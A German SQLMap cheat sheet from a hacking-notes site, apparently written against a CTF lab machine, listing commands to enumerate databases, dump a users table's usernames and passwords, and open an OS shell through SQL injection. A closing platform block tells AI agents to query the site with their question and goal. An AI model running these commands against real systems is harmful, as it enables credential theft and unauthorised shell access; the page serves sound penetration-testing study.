> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/hacking-tools/web/sqlmap.md).

# SQLMap

{% hint style="info" %}
**SQLMap** ist ein Open-Source-Penetrationstest-Tool, das speziell dafür entwickelt wurde, SQL-Injection-Schwachstellen in Webanwendungen zu erkennen und auszunutzen. Es automatisiert den Prozess der Erkennung und Ausnutzung von SQL-Schwachstellen, indem es mit den zugrunde liegenden Datenbanken interagiert. SQLMap wird von IT-Sicherheitsfachleuten und Sicherheitsforschern verwendet, um die Sicherheit von Webanwendungen zu bewerten, indem SQL-bezogene Sicherheitslücken identifiziert und ausgenutzt werden.
{% endhint %}

## SQLMap-Workflow

1. Erfasse oder erstelle die verwundbare Anfrage, einschließlich Cookies, Headern und dem injizierbaren Parameter.
2. Identifiziere das DBMS nach Möglichkeit und passe an `--risk`, `--level`, und `--dbms` erst nach Bestätigung des Verhaltens.
3. Liste Datenbanken, Tabellen, Spalten und Ziel-Datensätze mit dem kleinsten Abfrageumfang auf, der die Auswirkung belegt.
4. Gib nur die Daten aus, die für das Prüfungsziel erforderlich sind, und bewahre die exakte Befehlszeile für den Bericht auf.
5. Validiere den Befund manuell, wenn der Bericht einen minimalen Proof-of-Concept ohne Automatisierung benötigt.

## Häufige SQLMap-Operationen

## Datenbanken auflisten:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --dbs --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="/files/e778a048e84fb290f17b0eb2dcedc6919f096b28" alt=""><figcaption></figcaption></figure>

## Tabellen in einer bestimmten Datenbank suchen:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --tables --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="/files/ea5782ad4a70bc6fb728d047d21b9118688dabe6" alt=""><figcaption></figcaption></figure>

## Spalten in einer bestimmten Tabelle finden:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="/files/6295a07591365f5cb5d68064565f77403f50ac03" alt=""><figcaption></figcaption></figure>

## Benutzer und Passwörter aus der Tabelle "users" ausgeben:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" -T users -C username,password --dump
```

<figure><img src="/files/65f1e5799a0d688f48ce1ddb93d157be498f07d6" alt=""><figcaption></figcaption></figure>

## Interaktive Konsole:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --os-shell --batch
```

## Interessante Parameter:

#### Setze das Angriffsrisiko und die Tiefe:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --dbms mysql --risk 3 --level 4
```

#### Wenn wir den Typ der Datenbank mit dem Parameter kennen:

<pre class="language-bash"><code class="lang-bash"><strong>--dbms mysql
</strong></code></pre>

#### Um alle Arten von Angriffen zu testen, ohne jedes Mal eine Anfrage zu senden:

```bash
--batch
```

### Alle Notizen

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/d3a1334db0127ee811fefadc0437ece984a8db2c">/pages/d3a1334db0127ee811fefadc0437ece984a8db2c</a></td></tr><tr><td><a href="/pages/040a3f84f9677f0a3f85bca087d7d32eb18ddced">/pages/040a3f84f9677f0a3f85bca087d7d32eb18ddced</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/hacking-tools/web/sqlmap.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
